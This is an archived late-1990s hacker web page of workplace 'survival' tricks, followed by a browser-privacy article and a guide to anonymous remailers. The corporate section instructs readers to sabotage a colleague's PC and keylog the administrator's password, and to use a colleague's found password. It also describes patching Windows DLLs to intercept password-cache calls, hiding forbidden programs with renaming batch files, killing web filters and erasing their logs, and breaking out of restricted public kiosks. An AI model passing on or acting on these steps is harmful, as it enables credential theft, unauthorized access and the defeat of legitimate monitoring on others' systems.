In fact one of the most peculiar things, in this windoze's dominate aera, is how useful (and powerful) simple dos batch files can
be. So if you don't know how complicate (and interesting) and powerful those simple batchfiles can be, go to some second
hand shop bookstore and buy for next to nothing an old book (89-91) about "dos batching". You'll be amazed at the POWER
that this will give you onto your supernew windoze, as some of the examples in this section attest :-)

Psychological basic work


First and foremost (yet if you found these pages it's probably too late :-) you should NEVER give the impression that you do
understand much about computers. Choose a "level" line, be like anybody else... do not be too dumb but, FOREMOST, do not
be computer smart, else they will smell a rat. You should "merge" in your environment: if something goes wrong and your
activities leave tracks, they wont so easily individuate you

ESSAYS
PHASE ONE

fantastic essay by +Yamato about hiding Windows applications, browsing on your own proxy and cracking registry settings!
PHASE TWO

Very interesting C program by Heatmizer about a Win 95 Screen Saver password decrypter that you may find pretty funny
to use at work!
PHASE THREE (12 december 1998)

Another nice essay: enbecor.htm: Sniffing the Corporate and Institutional Network by Embedded
PHASE FOUR (22 July 1999)

CHOWN! Incredible essay by [blue]: chown_bl.htm: Who owns your files? Security thorough obscurity
PHASE FIVE (18 September 1999)

A great essay by NeuRaL_NoiSE: nnhnpad.htm: Reversing, functions addition, modifications in the existing code and
classic cracking of a typical M$-target: notepad.exe

Some useful tricks

http://www.instinct.org/fravia/corporat.htm (3 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

(1)
Where should you keep the files the slave masters would not want you
to use/have on your PC?

Put all the programs you should NOT have installed on your PC inside

C:\WINDOWS or C:\WINDOWS\SYSTEM, never create subdirectories. The

total mess and confusion (which is anyway a charachteristic of the poor

OS we are compelled to use) can in this case be turned to our advantage :-)

(2)

How to defeat censorship software checking for files deemed "illegal"

by the slave masters and yet use the programs

Quite a lot of software allows the slave masters to know if you

have or if you have not in your harddisk files deemed "illegal"

by them. Change the names of the *.exe files! If necessary edit the

*.dll files too (this is slightly more complicated, since you'll

have to hexedit a little the calling programs and procedures)

Change the names of *.exe and *.dll files to non significant names like

hggq67.exe

87771ll.dll

etcetera

The censorship software used by your corporation will not be able to

fetch them this way (this idea was pilfered from +ORC's 4.2 :-)

(3) DLL taming


Modify ("tame") the *.dlls and get some "secret snoopers" for free :-)

http://www.instinct.org/fravia/corporat.htm (4 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

As you will probably already have seen/studied in the students' essays

section, a very useful form of reversing is "object oriented reversing".


Dynamic-link libraries modifying (dll-taming) is one of the most promising
reversing activities, as many essays of our student section attest. Modern
windoze's applications rely quite a lot onto *.dlls that are already inside
your system, and keep a very interesting interchange of parameters (and data)
with their functions. Nothing more simple (and obvious) than modifying these
*.dlls in order to redirect those data wherever you fancy. This is *.dll
taming. I won't go into too much details on the technical aspect of dll
taming. The tools and techniques you'll use are, of course, the same that
have been thoroughly explained in the student section (and on my tools

page). If you are (or will be) a reverse engineer it won't be all too
difficult, believe me.

Most of the programs and applications that the slave masters use in order
to snoop onto you or to perform their "mysterious activities" (the one that
you would like to "study"), do rely on *.dlls that are located like sitting
ducks inside your /windows and /windows/system directory (MSPWL32.DLL for
enhanced password cache security, to cite but one :-)

Well, here is one of the very few sectors where YOUR competentces should be
by far superior to the capacities of your system administrators: it's our
field: reversing!

"Take home" your target *.dlls and, working on your own machines, modify them
until they will work the way YOU want (and not the way the applications of the
system administrators expect them to :-)

You don't even need to worry much about eventual length differences between the
untamed and the tamed dll... I have never seen any application checking the
length of the *.dlls (there are much too many variants and versions of the
main dlls... windoze is a total mess, never forget it :-), yet, if you want
to go "NUMMERSICHER", don't alter their length and just patch them "inside",
using the many tricks, like "snake-patching", explained in the student section.

Once you are ready (and you have thoroughly tested them) reinsert the transformed
*.dll onto your machine, at work.

Nobody but you will know it (hopefully) yet you will now have some powerful
tools as allies in your battle! You may have redirected the output (with the
data you are interested in) to the screen or to a file (careful!) or to the
printer, you may have tsrred an activation switch, or you may keep a copy of
the tamed dll under another name inside your windows directory, and just
batch it on or off when you need it (so that most of the time the real, untamed
dll will be the one working, and your tamed one will sleep inside the directory
under another non-meaningful name until your simple dos batch "awakes" it :-)

Imagine (just imagine, of course :-) that you modify the OpenPasswordCache
function of the above mentioned mspwl.dll so that you will be notified (with
the possibilities of having a look at the parameters) every time that function
will be called... well: you are NOT using Winice or another debugger in order
to get those data, so there is no "alien" application running onto your system.

http://www.instinct.org/fravia/corporat.htm (5 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

Everything looks "normal" from the sysad standpoint: -"stupid user sits in
front of his stupid screen and our SuperhyperSnoopo version 4.2 checks what the
hell he is really doing, how long and how much!". Ah! Your screen gets all the
activities of their SuperhyperSnoopo version 4.2 instead! (or whatever they use...
most of the time it will be an overbloated *.dll intensive app :-)

See: you are playing at a level that most system administrators cannot even
understand (they would not dream of modifying a windows *.dll, they have
enough problems with the "normal" bugged Micro$oft's own ones :-) and you
can, if you tame wisely and if you choose wisely your target dlls, gather a
LOT of information on your system in this way.

(4)
Batch alternative on how to defeat censorship software checking for
files deemed "illegal" by the slave masters when you do not need to
use the programs

Create two batch file (inside c:\windows as well), that will change
on-the-fly, when you run it, the extension of all the executable
you should NOT have installed on your PC to *.myn and back to real:
When you are offline (or when you feel like it)

REM re3444g1.BAT
REM fuck the censors, recreate
cd c:\windows\system
ren GHHA12.myn ultima_9.exe
ren GHGG12.myn chess730.exe
ren GHHA12.myn snooplan.exe
ren GHHA12.myn bombchef.exe
REM OK, recreated names

Before being online (or going home at the evening)

REM ob3444g1.BAT
REM deceive the censors, obscure
cd c:\windows\system
ren ultima_9.exeG HHA12.myn
ren chess730.exe GHGG12.myn
ren snooplan.exe GHHA12.myn
ren bombchef.exe GHHA12.myn
REM OK, obscured names

(5)
How to install everything you want without a CD-ROM

Buy a zip drive and use the 100 Megabyte zip cartridge in order to
install whatever you like on your PC even without a CD-ROM, and in
order to save/keep/move files as you fancy without leaving much
traces behind you. The zip connects trhrough the parallel port
and its data transfer ratio is acceptable. You may even RUN programs
from there WITHOUT LEAVING ANY PHYSICAL TRACE INSIDE YOUR PC.

(6)

http://www.instinct.org/fravia/corporat.htm (6 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

How to download files on the web without leaving traces


on the http:// grep filelog of the slave masters

Never download from http:// sites, they would immediatly get


your traces through the log files.

Get all the files that you want through ftp-mail.

(7) Visit the site with the warez you are interested in with

your browser, but DO NOT DOWNLOAD.

2) Write down the exact name of the *.zip file you want.

3) Get it through ftpmail emailed to you (this leaves traces,

but it is selten monitored because few know that you can

freely download this way... you may eventually use the

path option to get the files emailed to your home account

or to an absent colleague whose password you happen to

have found)

GOOD FTPMAILERS:

(just send to each of them an email with the word "help" in the

subject and in the body. Keep in mind that some of them at times

simply do not work... just try again later):

MAIL SERVER MIT mail-server@rtfm.mit.edu

DEARN DE BITFTP@DEARN

PRINCETON BITFTP@PUCC (files until 17.825.792


bytes!)

BRYANT ftpmail@ftpmail.bryant.vix.com

DNA AFFRC JP ftpmail@dna.affrc.go.jp

W3MAIL GMD.DE w3mail@gmd.de (Max 5 Megabytes)

WWWMAIL CIESIN www.mail@ciesin.org

NETMOR wwwfmail@linux.netmor.com (QUERIES INSIDE FTP SITES!)

GARBO FI ftpmail@garbo.uwasa.fi

http://www.instinct.org/fravia/corporat.htm (7 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

GETWEB HEALTHNET getweb@usa.healthnet.org

MOGLI DE w3mail@mogli.gmd.de (the best one for images)

(8)

How to download images

I assume that there is no track on the loggings if you just save images

using the right mouse button... but you may choose to get the images

ftpmailed to you as well. See point 5 and use w3mail@mogli.gmd.de

(9)

How to get administrator rights (privileges)

Use some resident keyboard trapper on a PC of a collegue that

has NOTHING to do with you. Damage (slightly) some obvious booting

function of that PC, wait until the sysad's slaves come and repair it.

Fetch the administrator slave's password afterwards and

use it THE SAME DAY (they have most of the time rotating passwords).

A good idea is to give privileges, inside your intranet, to a WHOLE bunch

of people at the same time, try always to be a fish among many.

(A)

How to disable Webnannys censorships

Web nannys are censorship programs whose stupidity goes beyond

belief... they block anything that is deemed "dangerous" by their

http://www.instinct.org/fravia/corporat.htm (8 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

puritan idiotic programmers... whole geocities (for instance Athen)

have been banned "en block" because somebody used somewhere the

image of a pepper with the name "hot.gif". Few corporations are so

stupid to use this shit, but you never know... should they use these

programs, here is how to destroy them :-)

A.1. Cyber Patrol

You need a special cracking program, you'll find it

on the web: name= cypatrol.zip

A.2. Net Nanny

A.2.1) Windows 95

CTRL+ALT+DEL (Get close program menu)

Choose OCRAWARE

End Task

A.2.2) Windows 3.1/DOS

C:\

edit config.sys

type rem in front of DEVICE=C:\NN\NNDRV.SYS

A.3. Cybersitter

A.3.1) Disable totally

CD /WINDOWS

copy win.cyb win.ini

A.3.2) Block action (still logging, see 8.3.3 below)

http://www.instinct.org/fravia/corporat.htm (9 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

CTRL+ALT+DEL

end task Tcpwait

create c:\windows\temp_holder

move the file cywin0.opt there

restart internet applications... Cybersitter does not

block anymore

A.3.3) Remove any record from the log file

Find file cywin.alt (usually inside c:\windows)

remove read only switch

notepad cywin.alt

remove any line that begins with the word blocked

save the file

remake it read only

(B)

How to check what's going on in your system

Start using the instruments that you ALREADY HAVE inside

the huge windows conundrum (if you don't have them,

bring them from home):

C:\WINDOWS\NETSTAT.EXE netstat > letsee and then edit letssee

C:\Program Files\Common Files\Microsoft Shared\MSinfo\MSINFO32.EXE

(active modules)

C:\WINDOWS\WINIPCFG.EXE

http://www.instinct.org/fravia/corporat.htm (10 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

Then fetch these two files:

ps

kill

And use them to see/terminate the applications that are working

on your system... you'll find an explanation inside LordClito's "old"

essay on my student page.

(C)

First and foremost Winice is a good weapon!

Install Winice 3.2. (there is a whole project of the student section that explains

how to fetch and use this most powerful debugger. You'll find softice

everywhere on the web: search, or buy it, it's a very good tool and deserves it)

Find the correct drivers for your PC (you may download them from

Numega's site if you do not have them). No checking software in a

intranet can resist the CTRL+D shot :-)

(D)

Remove all limits that the sysads have imposed on you

Use the policy editor (you'll not find it inside your machine at work,

you'll find it HOME, on your own windows 95 cd-rom under \Admin\Apptools\Poledit

or you'll easily fetch it from the web).

Push F8 during boot choose start without register informations (therefore

start without limits) start poledit open register configuration delete

all limits

http://www.instinct.org/fravia/corporat.htm (11 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

IF YOU DO NOT SEE any start menu, have a look at CONFIG.SYS,

you'll find there the command

switches /n

eliminate it and restart anew.

...And if you don't see EVEN THIS, take a look at the c:\msdos.sys

again (thanks Ivan :-) and may be you'll see among:

[Options]

BootMulti=1

BootGUI=1

Network=1

etcetera

the following:

BootKeys=0

-this one causes the same shit, so you have to change it to:

Bootkeys=1

Or remove it... but this would NOT be so clever, would it?

(D)

Another trick: the SAFE MODE boot

http://www.instinct.org/fravia/corporat.htm (12 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

As anyone (should) know, you can boot the windows bazaar in SAFE MODE (press F8 at
start

until the windows' choose your boot menu appears).

If you do choose safe mode, you'll notice pretty interesting new possibilities, which

were disabled in the "normal" booting configuration. Among other things you'll be
able

to choose the "update information tool" and have a look at what your sysads have made

in the last months (and which *.dll you should "intercept", see point three :-)

As long as you are in safe mode you are, moreover, relatively 'safe', so experiment
around

a little and take note of everything in sight!

(E)

Blowfishes are for ever

Well, let's not forget all the advantages of a quick and reliable encryptor. I use
blowfish

advanced 97 beta 1 (see the reversing essay by Jon).

Blowfish advanced 97 by Markus Hahn hahn(at)flix(point)de is an extremely powerful

(and quick) encryptor, that will blowfish all the files you want, at work and at
home,

in a couple of seconds. You may (probably) get a beta version from Markus' page at

http://www-hze.rz.fht-esslingen.de/~tis5maha/software.html

A legitime question: should you be paranoid?

Actually no, you should not. Most of the files and data that we have on our harddisks

are perfectly legal (reversing software is not an illegal activity, you may want to

http://www.instinct.org/fravia/corporat.htm (13 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

read my Is reverse engineering legal? essay), and there is

no real need to encrypt anything whatsoever. Yet there are (at least) two sound
reasons

to blowfish a lot nevertheless:

1) it's great spass to have everything you do encrypted at work just to

avoid ANY administrator's sniffing. Of course, once they find all your

text files blowfished they will know that you have something to hide

(once more a good dos batch can transform all those funny secret.txt.bfa

names into something more "neutral" like Cirrus.drv :-) yet the mere fact

that they wont be able to know what you are hiding is fun enough :-)

2) it's a good PRACTICE. Once you get used to routinely blowfish your data,

you'll learn also to KEEP those data in some places (and not everywhere

inside your PC, and you'll get used to encrypt sensible data, which, in

an epoque like the one we are living in, is a very sensible thing to do

anyway.

One for "public" computers


(Libraries, Museums, Shops, etcetera :-)

BioMenace's tips, modified by fravia+

No matter what the reason is, we are always constantly trying

to get to a computer connected to Internet. One possibility is

to get Internet connection from Public computers. There are a

couple of good advantages.

1. You could do any kind of activity in a more obscure way (no great

worry of trace-back from uninvited sources, high degree of anonymity)

2. Youll enjoy a free Internet service (and the Web should be free, nicht wahr?)

http://www.instinct.org/fravia/corporat.htm (14 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

It is still hard to get a shell account free and without giving much

information about yourself, but this access still helps you keep up with

news and stuff with minimized activities. Hey, it is a gateway J

But it is not as unobstructed as it sounds. Most of these public places

(Libraries mainly) do use restriction methods to keep people from having

a total control of services. Some of them use a

limitation software called KIOSK, for instance,

which basically prevents user from

accessing certain features of a menu, for example the "General

Preferences" of "Options" in Netscape, or the "Connect To" field of some Windoze's

telnet programs (you should know the POWER of telnetting if you are reading

these pages). Now this really bores, because there are times when you

dont even have access to the basic Programs and Settings menus of the Start

Button.

Now, how would one run programs, install programs, and read files from

these restricted systems if they dont even let you boot (Boot

passwords)? Impossible!

Not really

#1

One of the more remarkable things on these public computers is that they

often "forget" a nice 'old' program called TaskMan. This is a small program

activated by pressing Ctrl+Esc at the Password Screen (yes, try to

http://www.instinct.org/fravia/corporat.htm (15 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

figure out what is the purpose :). This program will allow you the

Run Application option, and from there you could try your luck with

Programs. GRP (whichll pop up all the groups of Windows thatd have

otherwise been hidden through censorware like IKIOSK.) And then theres

COMMAND.COM. Mind you, you should always have a system disk with you

not to boot from it (Network Computers) but to run some important

programs like COMMAND.COM on your own

#2

You know, they could have killed TaskMan after finding out what you have

been doing with it (or even 'beforehand' if the sysads are smart, which,

fortunately, does not happen all too often). What do we do now?! No

worry, theres still another way. These public computers using Windoze95

as OS always have something on their menu (duh!): confusion and random

behaviour: source of bugs and source of delights (for us crackers :)

Chances are theyll have at least one single program, somewhere, which

requires a standard file input from a disk. NotePad may be disabled, Write

may have been crippled, but the censors won't probably have maimed that

'vital tool': Windows Explorer.

Let's say good old 'cracker's TaskMan' is dead, so WindowsExplorer is

probably the only other file utility on the marketplace of your library

computer. Well, one possible way to get to it is to start one of these

standard file input files [write, Notepad, Netscape (if 'they' did not

disable the 'delicate' menu options, etc) and when you get to the "Open

File" or "Save" or "Save AS" sections, just go ahead to one of the

yellow folders and click the RIGHT mouse button on it.

http://www.instinct.org/fravia/corporat.htm (16 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

What do you see?! Well, theres the silly M$ 'rightclick' list: "Open Explore"

(YES!!!), "Cut", "Paste", "Send To", "Delete" and more...

The big point is that You now have access to Windows Explorer. From then

on... well...

#3

But again, our nasty censors and sysads world is not as forgiving as the we

hoped it would be.

Now, what if they have also removed EXPLORER from the RightClickOnFolderList?

"Man, thats it. Die public computers are too heavy censored... I give up".

Eh? Not so fast sunny boy...

Theres one more way. There is still one more option: the "Open" section in

the RightClickOnFolder!

You could click on anything and it would open it through the software you

want it to. Could even be a software 'sort of'... try ProgramManager... youll

be surprised.

A bag of tricks

http://www.instinct.org/fravia/corporat.htm (17 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

*** One idea to play around is to get to a file browser (somehow) and if

you find all executable programs have been disabled for direct access, try

it 'indirectly'!

What I mean is: click on the files made for that particular program,

then you just might be able to run the program you wanted, even if direct

disabled.

If not, hey, come to think of it, another hope is to have the "Browse" button

as a choice...

*** Also try installing some programs (like PIRCH). Even though I dont

know why, if you are able to run them, then theyll automatically start

the Program Manager (no matter what the restrictions were set from the

outside) and once you can start Program Manager you'r done!

*** Dead end with "OneEyed" (no buttons, no buttons) with Netscape?

Try our famous Easter Egg shortcuts! Press Ctrl+Alt+F. Then a road will

appear, explore! Try "Netscape Home Page". Try their silly and slow search

engines, try downloading useful programs. Try whatever... main thing is you

break the chains and you are free to roam!

Tricks by Stacker (September 1999)

Entering a network which uses user authentication via NT domains and has the

auth. needed for logon 'vinkje' set. (vinkje is a word describing the windows

thing of checking a box, and it is also used in: hey <thisnthat> doesn't work!

Well you need to put a check somewhere)

http://www.instinct.org/fravia/corporat.htm (18 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

Some networks need a usercode and password to log you on, or you won't be able

to use the machines (even). Well, i got in useing the following. type something

totally wrong.

type it again. Try cancel a lot of times (this very often works in such

networks, cause sysadmins mostly don't even know about this one (i do, and i am

a sysadmin (at the moment))). The third time entered a wrong u/p the machine

gladly assisted me in 'hacking my way in' by pointing out: "You have entered a

wrong password, you may try to login as guest", which i promptly did, and

tataaa your on... :)

ofcourse another way is asking the guy/gall who is at the pc to type :

start->run, winipcfg and then after he/she left, boot in safe mode and enter

the ip adres manually (so no bootp or DHCP is needed).

And you are in aswell.

regards,

Stacker

Page under heavy construction... started on April 97

Hey reader! Any chance you would stop leeching for a couple of minutes and send
something valuable over here? Don't you think that your knowledge is needed as
well?

To the essays on this page

homepage links anonymity +ORC tools cocktails students' essays


antismut CGI-scripts Javascript tricks search_forms mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/corporat.htm (19 of 19) [2/7/2001 3:30:29 PM]


anonico.htm: some advices from pcworld 8/97

Fravia's Anonymity Academy


Courtesy of fravia's pages of reverse engineering

From the August 1997 Issue of PC World

Protect Yourself From Snoops


Who knows what sites you've been visiting? Anyone sitting down at your PC can find out, and so can
people whose sites you visit--unless you take a few simple precautions.
Leave No History If you don't want people in your office or home to know which sites you've been
visiting, the first thing you should do is clear out your browser's History list. In N3, simply close the
program--the History folder will clear itself out (a rare case where a shortcoming can also be useful). In
N4, select EditPreferences, choose Navigator, and click Clear History. In IE3 or IE4, select
ViewOptions, click the Navigation tab, and click Clear History.
An Empty Address and No Location People may snoop in the current URL displayed at the top of
your browser window (labeled Address in Internet Explorer, and either Location or Netsite in Netscape,
depending on site specifics). If you're using IE3 or IE4, clearing your History folder (see "Leave No
History" above) will wipe out the Address list. No such luck with the Netscape products.
You can clear the list by futzing with the Windows 95 Registry, but that's difficult and dangerous. A
better solution is simply to not use the list. If you type in a URL at the Open Location dialog box
(<Ctrl>-l in N3 and <Ctrl>-o in N4), the address won't be recorded in the Location or Netsite list.
Where's the Cache? A third place people will look for your Web trail is the cache folder--a temporary
storage area for recently visited pages and images. You can delete its contents after a browsing session,
but there's a cost: You'll have slower surfing next time as your browser downloads files it might have
found locally.
The exact location of the cache folder depends on decisions you made when you installed your browser.
However, N3's cache folder is probably C:\Program Files\Netscape\Navigator\Cache, N4's is C:\Program
Files\Netscape\Communicator\Users\username\Cache, and IE's is C:\Windows\Temporary Internet Files.
Use Windows 95's Explorer to delete the folder's contents.
Beware the Cookie Monster Certain Web sites place special "cookie" files on your system that let
them recognize you the next time you visit--and possibly track where you go in between. Cookies add
some convenience to your life; for instance, if a site can recognize you by a cookie on your computer,
you probably won't have to type in a password at every visit. But cookies can invade your privacy by
tracking which sites you visit and giving marketers a profile of your interests, so you may want to turn
them off.
In N3, select OptionsNetwork Preferences, click the Protocols tab, and in the Show an Alert Before box

http://www.instinct.org/fravia/anonico.htm (1 of 2) [2/7/2001 3:30:31 PM]


anonico.htm: some advices from pcworld 8/97

check Accepting a Cookie. In N4, select EditPreferences, choose Advanced, and select Warn me before
accepting a cookie. Or, if you'd like the browser to reject cookies without asking you, select Disable
cookies.
In IE3 or IE4, select ViewOptions and click the Advanced tab. In IE3, select Warn before accepting
cookies. In IE4, just to make things confusing, you must de-select Do not warn before accepting cookies.

Fravia's Anonymity Academy

homepage links +ORC students' essays counter measures


bots wars antismut CGI tricks academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering illegal?

(c) Fravia, 1995, 1996, 1997, 1998.

http://www.instinct.org/fravia/anonico.htm (2 of 2) [2/7/2001 3:30:31 PM]


anonema.htm: fravia's anonimity academy (Anonymous e-mailing ~ private and newsgroups)

A Fravia's Anonymity Academy

N Anonymous Anonymous
O e-mailing e-mailing
(private and
N (private and newsgroups)
Y newsgroups) updated
September
1999
~
It's actually a simple survival
matter: anonymity on Usenet is,
M for instance, particularly
important in these spamming
days, if you don't want a flooded

I email address.
~
On this page

T Fravia's Nofrill
Web design
(98 ~ 99)
[WWW anonymous emailing]
[remailer list]
[anonymous emailing (private)]

Y [anonymous emailing (usenet)]


[advanced tactics]
[essays]

On other pages of mine


Anonymity Lab corporate survival stalking matters enemy tracking
steganography What Fravia knows about you Tweak your browser!

Anonymity on the Web is actually a simple survival matter: anonymity on Usenet is, for instance,
particularly important in these spamming days to avoid flooded email addresses. Commercial vendors
of all possible crap / gods / services / commodities that you DO NOT need in the least will gladly go over
your dead body in order to fetch your email address! Therefore learn the basic of anonymous emailing
here... courtesy of fravia's pages of reverse engineering.

http://www.instinct.org/fravia/anonema.htm (1 of 6) [2/7/2001 3:30:36 PM]


anonema.htm: fravia's anonimity academy (Anonymous e-mailing ~ private and newsgroups)

Anonymous E-mail
Crack the post

WWW anonymous emailing (with your browser,


duh)

Replay.com (works well per email as well, see below), and you may use also www.c2.net, a nice one. Of course
nym.alias.net (a second generation nymsever) could be useful as well. If you would like to premail and chain remail you
should realize, for your anonymous chain remailing, which remailers are the quickest remailers (real order depends from
your location, time of the day, etc, just experiment a little...)

A list of anonymous remailers

First of all, here is a list of anonymous remailers (Bob Appleton's one, modified by fravia+. In order to obtain an up-to-date
listing of anonymous remailers, with statistics, finger rlist@anon.efga.org or rlist@anon.lcs.mit.edu):

European remailers (begin with these if you distrust USA remailers)


mix@sind.hyperreal.art.pl <-- these remailers can download files from the WWW and
remailer@lo14.wroc.pl <-- send them to you with the directive Get-Url
remailer@base.xs4all.nl <-- "base" Same as replay.com, only slower.

States' remailers
remailer@replay.com <-- else you may use these reliable remailers
remailer@privacy.nb.ca <-- Joseph "Anonymous" Howe
remailer@anon.efga.org <-- "Georgia Cracker" Anonymous Remailer

Defunct remailers (yet one never knows...)


remailer@neva.org <-- seems to be dead :-(
mix@earth.wazoo.com <-- seems to be dead :-(

Back to the top of this gorgeous page

Anonymous emailing (private)

Yet you may want a "simpler" way to send email anonymously, without browsing on line the sites given above, with the
possibility of preparing your own automated scripts and even without any need to edit the email header if you don't happen
to have a Unix box... basically, as you'll see below, you can use some remailers (which are simple automated mail handling
bots, installed on various accounts, which will accept any message sent with the proper headers and automatically re-send it
anonymously to whoever you want). You'll send email anonymously to your destinatary by sending mail to any of the
remailers listed below, with the header "Anon-To: address" and the address that you want to send anonymously to. If you
can't add headers to your mail (typical windoze user), you can place two colons on the first line of your message, followed
by the "Anon-To:" line. Follow that with a blank line, and then begin your message.
Here follows a complete explanation:

From: your@real.address ;your real address is sent of course, yet don't worry

http://www.instinct.org/fravia/anonema.htm (2 of 6) [2/7/2001 3:30:36 PM]


anonema.htm: fravia's anonimity academy (Anonymous e-mailing ~ private and newsgroups)

To: remailer@replay.COM ;this nice remailer will strip off your name
Subject: Anonymous Mail ;Subject will be transmitted, all the rest stripped off
----------------------------------------------------------------------------------
:: ;place two colons on the first line of your message
Anon-To: desti@nat.ary ;and then the Anon-To line
Latent-Time: +1:00r ;instructing the remailer to delay randomly the message
Cutmarks: -- ;any line beginning with the same text as in the
;cutmarks header, and any lines following it will
;be removed. Remember! Follow the :: block, after
;"Cutmarks: --", with at least ONE blank line!
and this words ARE the text of your anonymous mail message, which begins
only AFTER the blank lines after "Cutmarks: --". So this is all anonymized
stuff, and you write, and write and write, but remember to choose your
"Cutmarks", I have used two dashes, as in good old (and now unfortunately
defunct) anon.penet times, therefore THIS line of my text would be sent
--
but THIS line of my text will not be anonymously sent

Warning: If you forget the trailing blank after the "--" in the "Cutmarks:" directive, your signature (some
email_programs automatically insert a signature file which usually contains the sender's e-mail address, and would
reveal their identity) won't be cut off.
Don't underestimate the importance of NOT betraying your timezone when you post (that's one of the first elements a
stalker would use to track you, see my enemy page). You create a random delay by adding an 'r' to the time
(+1:00r), which in the case above would have the message be delivered at a random time, but not more than an hour.
You can also delay the message until a specific time. For example, "Latent-Time: 0:00" without the '+' would delay
the message until midnight (at the remailer site). Times must be in 24-hour format. Anyway modern remailers
automatically reorder all messages in a large pool, which produces a similar random effect even if you forget the time
directive..
If your message has a "Get-URL:" header, the remailer will try to retrieve the URL you have indicated with an
external WWW client, ASCII- armor it with PGP, and append it to the message. After that, the message will be
processed as usual. Note howebver that the WWW client of the polish remailers can access only HTTP and FTP
URLs

Should the above instructions still not be enough for you, just send this email as it is (answer OK to Navigator's question
about not having written anything in the text, Opera will handle everything orright) and wait for the remailer answer sipping
your favourite cocktail and wandering around inside my site.
The following part, about usenet posting, offers a bunch of other tips that are valid for private posting as well. So read it :-)

Back to the top of this gorgeous page

Anonymous emailing (Usenet)

Now let's see the simple way to post anonymously on Usenet.


And here is how you should proceed:

To: (use one of the remailers from above)


Subject: (leave blank)
------------------------------------------------------
Body: :: <--1st line of body

http://www.instinct.org/fravia/anonema.htm (3 of 6) [2/7/2001 3:30:36 PM]


anonema.htm: fravia's anonimity academy (Anonymous e-mailing ~ private and newsgroups)

Anon-Post-To: xxx.yyy,xxx.yyy,xxx.yyy <--2nd line of body


<--3rd line of body
## <--4th line of body
Subject: (put the subject here) <--5th line of body
<--6th line of body
<start message here> <--7th line of body

NOTE TO THE ABOVE INSTRUCTIONS:


The 1st line of the body of your anonymous posting must contain 2 colons.
2nd line; substitute "xxx.yyy" with the newsgroups you are interested in.
The 3rd line must be blank The 5th line carries the subject you want in your posting
The 6th line must be blank
Start your message on the 7th line.

NOTA BENE!
all group names (if you crosspost to more than one newsgroup) must be separated by commas (but NO spaces).

The reason for the 4th line containing a # is that additional headers can be written to the output message by preceding
them with a "##" line (multi-line headers with indented continuation lines are allowed... an indented line in a message
header indicates a continuation of the previous line, duh) Therefore:

##
Reply-To: bgates@msn.com
Subject: A message with user-supplied headers: the subject extends
for instance over two lines
When posting your test messages (ALWAYS POST TEST MESSAGES FIRST somewhere and check them, you
never know what for 'concealed add-ons' your last frizzy-dilly version of M$ Outlook may have added in your
postings!), use the appropriate groups (alt.test, misc.test). Take care, tough, these very groups are (on purpose)
routinely checked by nasty 'fishers' looking for gullible lusers, take care therefore that your message looks the most
'inoffensive' as possible (unless you want to try to lure them, but that's a completely different history, see my luring
and social engineering tricks page).
In order to post an anonymous follow-up article and have it appear in a thread, you must set the "Subject:" and
"References:" headers of your message correctly: to build a references header, copy the references header of the
article to which you are replying, and append that article's Message-ID. If you are replying to the first article of a
thread, it won't have a references header. In that case just use the article's Message-ID as your references header.

Back to the top of this gorgeous page

Advanced tactics

For added security, you can encrypt your messages to the remailer with PGP. The remailer software will decrypt the
message and send it on. This is especially useful if you are anonymously emailing from your workplace. To utilize
this feature, create a message with two colons on the first line, then the "Anon-To:" or "Anon-Post-To:" header, then
any other commands such as "Cutmarks:" or "Latent-Time:", then a blank line, then the optional "##" line and your
additional headers, then a blank line, and then the body of your message. Encrypt this with the remailer's public key
(in order to get it, just email your favourite remailer with the word 'help' without the inverted commas, both in the
Subject and in the Body of your posting). Then send your encrypted anonymous posting to the remailer, adding the
header "Encrypted: PGP". If you forget this, the remailer won't know that it needs to be decrypted. Also be sure to
use the "-t" option with PGP, or the linefeeds might not be handled properly.
Any text after your encrypted remailer message is also remailed. This allows sending messages to someone who is
anonymous. If you create a PGP-encrypted message to yourself via this remailer, and then give it to someone, they

http://www.instinct.org/fravia/anonema.htm (4 of 6) [2/7/2001 3:30:36 PM]


anonema.htm: fravia's anonimity academy (Anonymous e-mailing ~ private and newsgroups)

can send you a message by sending the encrypted message to the remailer. The remailer will then decrypt it and send
it to you. The message gets anonymized in the process, so the sender will need to include a return address if he wants
a reply.

Messages sent this way can be encrypted using the "Encrypt-Key:" feature. Any text following a line containing only
"**" (without quotes) will be encrypted with this key. For example, if you put in the plaintext of your PGP message:

::
Anon-To: you@yourhost.org
Encrypt-Key: your_password

**
The appended message after the "**" will be encrypted with the key "your_password", using PGP's conventional
encryption option. If you omit the "**" marks, the message will be discarded to prevent traffic analysis by sending
intercepted messages with the "**" marks removed.

It is much simpler to manage these "reply blocks" -- both from the sender's and recipient's perspective -- by using a
nymserver. Please visit http://www.publius.net/n.a.n.html for more information (homepage of nym.alias.net, the
home of the nymserver software).
To confuse possible attackers even more, you can generate some cover traffic by sending encrypted messages with
the special "Null:" header rather than the usual "Anon-To:" or "Anon-Post-To:" headers. The remailer will drop these
messages in the bit bucket.
